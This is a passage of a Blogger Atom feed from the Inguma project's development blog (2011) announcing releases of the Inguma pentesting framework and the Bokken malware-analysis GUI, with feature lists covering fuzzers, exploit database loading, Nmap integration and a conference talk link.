url='http://4.bp.blogspot.com/-m0mSfSbod8o/Tql6aL30WcI/AAAAAAAAAF0/XSqnuwtytVM/s72-c/bokken-new-gui.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8320914018667085850.post-4867365141033633348</id><published>2011-09-14T20:11:00.000+02:00</published><updated>2011-09-19T20:12:56.588+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><category scheme='http://www.blogger.com/atom/ns#' term='inguma'/><title type='text'>Inguma 0.4 is out!</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; font-size: medium;"&gt;Trying to follow a three months release cycle, today we are proud to announce the next version of the Inguma Project, in short Inguma v0.4. As always, let's see the new features we added this time:&lt;/span&gt;&lt;ul&gt;&lt;li style="font-family: 'Times New Roman'; font-size: medium;"&gt;&lt;b&gt;The GUI&lt;/b&gt; has been modified and cleaned in order to give more space to the most active areas like the network map, the RCE interface or the exploits/fuzzing areas.&lt;/li&gt;&lt;ul&gt;&lt;li style="font-family: 'Times New Roman'; font-size: medium;"&gt;Last opened/saved KB are now easily accesible on the toolbar.&lt;/li&gt;&lt;li style="font-family: 'Times New Roman'; font-size: medium;"&gt;A warning icon appears in the "Logs" tab when new content is available.&lt;/li&gt;&lt;li style="font-family: 'Times New Roman'; font-size: medium;"&gt;The bottom status bar has gained more functionality showing information regarding KB in use and targets or vulnerabilities discovered.&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;div&gt;&lt;a href="http://4.bp.blogspot.com/-Wl6GnDOdfQc/Tm9GtGG2ELI/AAAAAAAAAE4/Bmd4GeM_3cQ/s1600/statusbar.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5651813797920641202" src="http://4.bp.blogspot.com/-Wl6GnDOdfQc/Tm9GtGG2ELI/AAAAAAAAAE4/Bmd4GeM_3cQ/s320/statusbar.png" style="display: block; height: 30px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; width: 255px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;&lt;li style="font-family: 'Times New Roman'; font-size: medium;"&gt;We have &lt;b&gt;updated &lt;a href="http://bokken.inguma.eu/"&gt;Bokken&lt;/a&gt;&lt;/b&gt; subproject to the last stable version available, v1.0. It features an interactive mode, better code disassembly and analysis and better integration with Inguma's GUI. More information about Bokken can be found &lt;a href="http://bokken.inguma.eu/projects/bokken/wiki/Wiki"&gt;here&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-DNq-mjwhEKQ/TnBsXN5mg_I/AAAAAAAAAFM/oI88Rd9HqNY/s1600/bokken.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="170" src="http://1.bp.blogspot.com/-DNq-mjwhEKQ/TnBsXN5mg_I/AAAAAAAAAFM/oI88Rd9HqNY/s320/bokken.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;&lt;li style="font-family: 'Times New Roman'; font-size: medium;"&gt;The&amp;nbsp;&lt;b&gt;systray&lt;/b&gt;&amp;nbsp;functionality allows now to hide the Inguma GUI while it's working and it will warn you once the running modules have finished.&lt;/li&gt;&lt;li style="font-family: 'Times New Roman'; font-size: medium;"&gt;A &lt;b&gt;new fuzzing tab&lt;/b&gt; has been added to the Exploits workspace with two different fuzzers: Krash and Scapy.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline;"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-rkFP8cYdOms/TnBsuf5nchI/AAAAAAAAAFQ/Ti645cLbv64/s1600/fuzzing.png" imageanchor="1" style="color: #0000ee; font-family: Georgia, serif; margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="170" src="http://2.bp.blogspot.com/-rkFP8cYdOms/TnBsuf5nchI/AAAAAAAAAFQ/Ti645cLbv64/s320/fuzzing.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Georgia, serif; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;ul&gt;&lt;li style="font-family: 'Times New Roman'; font-size: medium;"&gt;&lt;b&gt;Krash fuzzer&lt;/b&gt; has been part of Inguma project for a while but now it can be used directly from the GUI. Just select the target, the packet to be fuzzed and press start. Read more about Krash fuzzer &lt;a href="http://inguma.eu/projects/inguma/documents"&gt;here&lt;/a&gt;.&lt;/li&gt;&lt;li style="font-family: 'Times New Roman'; font-size: medium;"&gt;The &lt;b&gt;Scapy fuzzer&lt;/b&gt; is a GUI wrapper to the scapy's fuzz function that makes network fuzzing very easy. It's fully drag-and-drop-driven and, in order to start, you just have to compose a packet by dropping layers, select the layers/fields to be fuzzed and select an output directory to save the sent and received packets.&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, serif; font-size: 16px;"&gt;&lt;a href="http://3.bp.blogspot.com/-KwP2IAI4hkE/Tm9G2-1uFBI/AAAAAAAAAFA/3xvOTI3ndno/s1600/fuzz_menu.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5651813967768458258" src="http://3.bp.blogspot.com/-KwP2IAI4hkE/Tm9G2-1uFBI/AAAAAAAAAFA/3xvOTI3ndno/s320/fuzz_menu.png" style="cursor: pointer; display: block; height: 215px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; width: 260px;" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li style="font-family: 'Times New Roman'; font-size: medium;"&gt;The &lt;b&gt;CLI interface&lt;/b&gt; has received some attention again and a few new shortcuts like '?' for help or '..' to go back to the main menu are now available in nearly all the modules.&lt;/li&gt;&lt;ul&gt;&lt;li style="font-family: 'Times New Roman'; font-size: medium;"&gt;Inguma CLI now works better on MacOS with autocompletion and key bindings.&lt;/li&gt;&lt;li style="font-family: 'Times New Roman'; font-size: medium;"&gt;All the fuzzing modules are now under the fuzzers category and have been fixed.&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Inguma v0.4Copyright (c) 2006-2008 Joxean Koret &lt;joxeankoret@yahoo.es&gt;&lt;/joxeankoret@yahoo.es&gt;Copyright (c) 2009-2011 Hugo Teso &lt;hugo.teso@gmail.com&gt;&lt;/hugo.teso@gmail.com&gt;&lt;br /&gt;Type 'help' for a short usage guide.inguma&amp;gt; nmapscaninguma/nmapscan&amp;gt; ?&lt;br /&gt;Inguma's Nmap Interface Help------------------------------&lt;br /&gt;help                     Show this helpnmaphelp                 Show Nmap's helpnmap &lt;options&gt;           Execute Nmap with options specified&lt;/options&gt;exit                     Exit from nmapscan interface&lt;br /&gt;inguma/nmapscan&amp;gt; ..inguma&amp;gt; ..Exit.&lt;/span&gt;&lt;ul&gt;&lt;li style="font-family: 'Times New Roman'; font-size: medium;"&gt;Some additional minor changes include:&lt;/li&gt;&lt;ul style="font-family: 'Times New Roman'; font-size: medium;"&gt;&lt;li&gt;A new module to find subdomains is now available.&lt;/li&gt;&lt;li&gt;The option to automatically audit a new target has been added to the "New target" dialog.&lt;/li&gt;&lt;/ul&gt;&lt;span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline;"&gt;&lt;br /&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span" style="margin-left: auto; margin-right: auto;"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5651811398839857090" src="http://1.bp.blogspot.com/-v3H3v29ilmM/Tm9Ehc1ab8I/AAAAAAAAAEo/LTc3Qa0NAKo/s320/target_audit_host.png" style="cursor: pointer; display: block; height: 150px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; width: 208px;" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;Lots of code refactoring and bugs fixed.&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;b&gt;Get the new release&lt;/b&gt; &lt;a href="http://inguma.eu/projects/inguma/files"&gt;here&lt;/a&gt;&amp;nbsp;while is hot, and stay tuned about the latest Inguma and Bokken developments at the project &lt;a href="http://inguma.eu/projects/inguma/wiki/Contact"&gt;mailing lists&lt;/a&gt; or the Twitter &lt;a href="http://twitter.com/ingumito"&gt;profile&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8320914018667085850-4867365141033633348?l=ingumadev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ingumadev.blogspot.com/feeds/4867365141033633348/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8320914018667085850&amp;postID=4867365141033633348' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/4867365141033633348'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/4867365141033633348'/><link rel='alternate' type='text/html' href='http://ingumadev.blogspot.com/2011/09/inguma-04-is-out.html' title='Inguma 0.4 is out!'/><author><name>hteso</name><uri>http://www.blogger.com/profile/06933489709636162052</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-Wl6GnDOdfQc/Tm9GtGG2ELI/AAAAAAAAAE4/Bmd4GeM_3cQ/s72-c/statusbar.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8320914018667085850.post-4997328302275217164</id><published>2011-08-16T03:41:00.000+02:00</published><updated>2011-08-16T03:41:55.382+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='talks'/><category scheme='http://www.blogger.com/atom/ns#' term='inguma'/><title type='text'>Rooted CON Inguma video available.</title><content type='html'>The &lt;a href="http://www.rootedcon.es/"&gt;Rooted CON&lt;/a&gt; media team have released the videos from the &lt;a href="http://www.rootedcon.es/congreso/rootedforge.html"&gt;RootedForge event&lt;/a&gt; that happened in Madrid on March, 3rd 2011. &amp;nbsp;There Hugo Teso talked about the past, present and a bit of the future of the Inguma project. &amp;nbsp;It's only in Spanish, sorry!&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;iframe frameborder="0" height="300" src="http://player.vimeo.com/video/27582938?title=0&amp;amp;byline=0&amp;amp;portrait=0" width="400"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://vimeo.com/27582938"&gt;RootedForge - Proyecto Inguma - Hugo Teso (Rooted CON 2011)&lt;/a&gt; from &lt;a href="http://vimeo.com/rootedcon"&gt;rootedcon&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8320914018667085850-4997328302275217164?l=ingumadev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ingumadev.blogspot.com/feeds/4997328302275217164/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8320914018667085850&amp;postID=4997328302275217164' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/4997328302275217164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/4997328302275217164'/><link rel='alternate' type='text/html' href='http://ingumadev.blogspot.com/2011/08/rooted-con-inguma-video-available.html' title='Rooted CON Inguma video available.'/><author><name>Ender</name><uri>http://www.blogger.com/profile/14709596788489094437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_cVMUD1zJ92Q/TFvSBaUDZyI/AAAAAAAAAKo/DpmEBOppQ_U/S220/Avatar_pocoyo.png'/></author><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4166909 -3.70034540000006</georss:point><georss:box>40.2509674 -3.88584290000006 40.5824144 -3.5148479000000603</georss:box></entry><entry><id>tag:blogger.com,1999:blog-8320914018667085850.post-3760641339392553760</id><published>2011-07-05T10:35:00.011+02:00</published><updated>2011-08-15T05:09:54.081+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><category scheme='http://www.blogger.com/atom/ns#' term='bokken'/><title type='text'>Bokken 1.0 has landed</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-Akz_TK1Z__M/ThLOBGQ0UeI/AAAAAAAAACw/6OtfO08BqVE/s1600/bokken_kanji_juntos_horizontal_300.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5625785402795512290" src="http://1.bp.blogspot.com/-Akz_TK1Z__M/ThLOBGQ0UeI/AAAAAAAAACw/6OtfO08BqVE/s400/bokken_kanji_juntos_horizontal_300.png" style="cursor: hand; cursor: pointer; display: block; height: 135px; margin: 0px auto 10px; text-align: center; width: 300px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;Today we are releasing a new tool of the Inguma project: &lt;b&gt;Bokken&lt;/b&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In &lt;a href="http://ingumadev.blogspot.com/2011/05/welcome-to-inguma-version-03.html"&gt;Inguma 0.3&lt;/a&gt;, an early version of Bokken was included as the RCE tool of the project.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Now we are giving it as a standalone tool.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Bokken is a GUI for the &lt;a href="http://code.google.com/p/pyew/"&gt;Pyew&lt;/a&gt; tool,&lt;b&gt; a *iew like tool for malware analysis&lt;/b&gt;, so with Bokken you can do almost the same as with Pyew but with a nice GUI :-). Actually Bokken can parse and help in the analysis of &lt;b&gt;PE/Elf, PDF and websites&lt;/b&gt;; any other file can be also opened and studied but Bokken won't analyze it.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://1.bp.blogspot.com/-IoMHMH81fs0/ThLObNKMcKI/AAAAAAAAAC4/9T3sgqv78R0/s1600/Bokken-1.0.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5625785851323379874" src="http://1.bp.blogspot.com/-IoMHMH81fs0/ThLObNKMcKI/AAAAAAAAAC4/9T3sgqv78R0/s320/Bokken-1.0.png" style="cursor: pointer; display: block; height: 170px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;To get a full description of the project features, installation instructions or just get the code go to the &lt;a href="http://bokken.inguma.eu/"&gt;project site&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Enjoy the new tool and don't forget to send us the &lt;a href="http://bokken.inguma.eu/projects/bokken/issues/new"&gt;bugs&lt;/a&gt; you find, &lt;i&gt;feature requests&lt;/i&gt; or any other &lt;a href="http://bokken.inguma.eu/projects/bokken/wiki/Contact"&gt;feedback&lt;/a&gt; that you consider can help improve the project.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8320914018667085850-3760641339392553760?l=ingumadev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ingumadev.blogspot.com/feeds/3760641339392553760/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8320914018667085850&amp;postID=3760641339392553760' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/3760641339392553760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/3760641339392553760'/><link rel='alternate' type='text/html' href='http://ingumadev.blogspot.com/2011/07/bokken-10-has-landed.html' title='Bokken 1.0 has landed'/><author><name>hteso</name><uri>http://www.blogger.com/profile/06933489709636162052</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-Akz_TK1Z__M/ThLOBGQ0UeI/AAAAAAAAACw/6OtfO08BqVE/s72-c/bokken_kanji_juntos_horizontal_300.png' height='72' width='72'/><thr:total>0</thr:total><georss:featurename>Madrid, España</georss:featurename><georss:point>40.4166909 -3.70034540000006</georss:point><georss:box>40.2509674 -3.88584290000006 40.5824144 -3.5148479000000603</georss:box></entry><entry><id>tag:blogger.com,1999:blog-8320914018667085850.post-4647794254934346072</id><published>2011-06-13T11:40:00.008+02:00</published><updated>2011-07-05T19:49:34.175+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><category scheme='http://www.blogger.com/atom/ns#' term='inguma'/><title type='text'>Welcome to Inguma version 0.3</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-YH_uodmLzsA/Te9iEdaDTVI/AAAAAAAAADU/v47XhuZcP2s/s1600/top.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5615815089107193170" src="http://2.bp.blogspot.com/-YH_uodmLzsA/Te9iEdaDTVI/AAAAAAAAADU/v47XhuZcP2s/s400/top.png" style="cursor: hand; cursor: pointer; display: block; height: 90px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;The Inguma team is very proud to release version 0.3 of their pentesting and vulnerability research framework. The new release increases stability (mainly the GUI) thanks to lots of bugs fixed, offers a smoother experience and, of course, includes some awesome features:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Together with the new release we would like to introduce our project's new pet, Ingumito. He will keep all our users informed of the project news through his twitter account: &lt;a href="http://twitter.com/Ingumito"&gt;@ingumito&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5616143946442966786" src="http://1.bp.blogspot.com/-7GJrFUnnaFw/TfCNKecxhwI/AAAAAAAAADc/LsD43HAnZtQ/s400/Ingumito.png" style="cursor: pointer; display: block; height: 267px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; width: 400px;" /&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;A new module has been added to&lt;b&gt; map the IP addresses&lt;/b&gt; using the GeoIP library from &lt;a href="http://www.maxmind.com/"&gt;MaxMind&lt;/a&gt;:&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;a href="http://1.bp.blogspot.com/-kmihTcHdj5s/Te4kMOOMRHI/AAAAAAAAACc/k212nMBJ5fQ/s1600/GeoIP.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5615465577772237938" src="http://1.bp.blogspot.com/-kmihTcHdj5s/Te4kMOOMRHI/AAAAAAAAACc/k212nMBJ5fQ/s320/GeoIP.png" style="cursor: pointer; display: block; height: 219px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;By Ctrl + right clicking over a target a new menu entry will allow to &lt;b&gt;remove the target&lt;/b&gt; and all its nodes from the map and the KB:&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"&gt;&lt;a href="http://1.bp.blogspot.com/-jUeQONO7ER0/Te4k8ZcbouI/AAAAAAAAACk/XZXNbbAaJ_M/s1600/Remove.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5615466405418476258" src="http://1.bp.blogspot.com/-jUeQONO7ER0/Te4k8ZcbouI/AAAAAAAAACk/XZXNbbAaJ_M/s320/Remove.png" style="cursor: pointer; display: block; height: 172px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Additional information regarding a vulnerability can be obtained by right clicking over a vulnerability node:&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;a href="http://2.bp.blogspot.com/-gQS2TL4mDjA/Te4lXStsTfI/AAAAAAAAACs/gRO1Nwg0X30/s1600/web_vuln.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5615466867468291570" src="http://2.bp.blogspot.com/-gQS2TL4mDjA/Te4lXStsTfI/AAAAAAAAACs/gRO1Nwg0X30/s320/web_vuln.png" style="cursor: pointer; display: block; height: 170px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;The &lt;i&gt;Add Target&lt;/i&gt; dialog must be improved to allow multiple IP addresses and other inputs but, meanwhile, the import dialog now supports a comma-separated CSV file to be used as &lt;b&gt;multiple IP input&lt;/b&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;The exploits download and load process has been simplified; download the exploits at the Preferences dialog and use the &lt;i&gt;Search&lt;/i&gt; button to load the exploits. Once loaded, this button will search through the exploits DB.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;The most important change of this new release is the &lt;b&gt;complete rewrite of the RCE interface and core.&lt;/b&gt; OpenDis has been removed, and so the objdump dependency, and a new interface has been added that uses &lt;a href="http://code.google.com/p/pyew/"&gt;Pyew&lt;/a&gt; as backend:&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"&gt;&lt;a href="http://3.bp.blogspot.com/-g3c-NdNulSE/Te4mMGpqphI/AAAAAAAAAC0/8ln_sMawbAU/s1600/bokken.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5615467774763247122" src="http://3.bp.blogspot.com/-g3c-NdNulSE/Te4mMGpqphI/AAAAAAAAAC0/8ln_sMawbAU/s320/bokken.png" style="cursor: pointer; display: block; height: 170px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;This new interface offers most of the Pyew features in a easy-to-use GUI. &amp;nbsp;Analyzing almost any kind of file or web site is now easier with this new release! &amp;nbsp;This GUI for RCE is a new subproject of Inguma called Bokken and will be released soon in our website as an independent tool. &amp;nbsp;Stay tuned!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The RCE interface will analyze PE, ELF, PDF and web sites, and will open any other file in the hex editor. An image is worth a thousand words, so here you have two thousand of them:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"&gt;&lt;a href="http://3.bp.blogspot.com/-zO9pMgG5nuY/Te4mmfJJKEI/AAAAAAAAAC8/EA7rMqJGGy8/s1600/bokken_web.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5615468228014319682" src="http://3.bp.blogspot.com/-zO9pMgG5nuY/Te4mmfJJKEI/AAAAAAAAAC8/EA7rMqJGGy8/s320/bokken_web.png" style="cursor: pointer; display: block; height: 170px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center;"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"&gt;&lt;a href="http://4.bp.blogspot.com/-DQU8zFGZySc/Te4nB5oIiiI/AAAAAAAAADE/GOAy26cYCtI/s1600/bokken_pdf.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5615468698980092450" src="http://4.bp.blogspot.com/-DQU8zFGZySc/Te4nB5oIiiI/AAAAAAAAADE/GOAy26cYCtI/s320/bokken_pdf.png" style="cursor: pointer; display: block; height: 170px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Some minor features added are:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;An icon has been added to graph nodes to &lt;b&gt;show the OS of the target&lt;/b&gt; when available.&lt;/li&gt;&lt;li&gt;New&lt;b&gt; autosave feature&lt;/b&gt; that will save the KB after every module execution to prevent data loss in case of GUI crash. This autosaved KB will be loaded at startup if the user wants.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Single host report&lt;/b&gt; option added to the node menu.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Improved performance&lt;/b&gt; of ping and scan modules.&lt;/li&gt;&lt;li&gt;More modules have been ported to the GUI, like "identify"; wich has also been added to the list of modules launched on adding a target.&lt;/li&gt;&lt;li&gt;We are now&lt;b&gt; closer to full Windows compatibility&lt;/b&gt; as this screenshot demonstrate :-)&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"&gt;&lt;a href="http://1.bp.blogspot.com/-lK1jCvoWNBI/Te4ox1bpyOI/AAAAAAAAADM/lBfR6TfohsI/s1600/GInguma-Win7.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5615470621999352034" src="http://1.bp.blogspot.com/-lK1jCvoWNBI/Te4ox1bpyOI/AAAAAAAAADM/lBfR6TfohsI/s320/GInguma-Win7.png" style="cursor: pointer; display: block; height: 147px; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;We hope you enjoy using this new release as much as we enjoyed making it! &amp;nbsp;Stay tuned of the project news with the &lt;a href="http://twitter.com/Ingumito"&gt;Twitter&lt;/a&gt; account or the &lt;a href="http://inguma.eu/projects/inguma/wiki#Mailing-lists"&gt;mailing lists&lt;/a&gt;. For more information, documentation, reporting bugs and, of course, download the release, visit the project's &lt;a href="http://inguma.eu/"&gt;web site&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;This release is dedicated to the hundreds of thousands of Spaniards that gathered on May 15th first in Madrid, then everywhere, to protest against political parties in the now-called #15M movement.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8320914018667085850-4647794254934346072?l=ingumadev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ingumadev.blogspot.com/feeds/4647794254934346072/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8320914018667085850&amp;postID=4647794254934346072' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/4647794254934346072'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8320914018667085850/posts/default/4647794254934346072'/><link rel='alternate' type='text/html' href='http://ingumadev.blogspot.com/2011/05/welcome-to-inguma-version-03.html' title='Welcome to Inguma version 0.3'/><author><name>Ender</name><uri>http://www.blogger.com/profile/14709596788489094437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 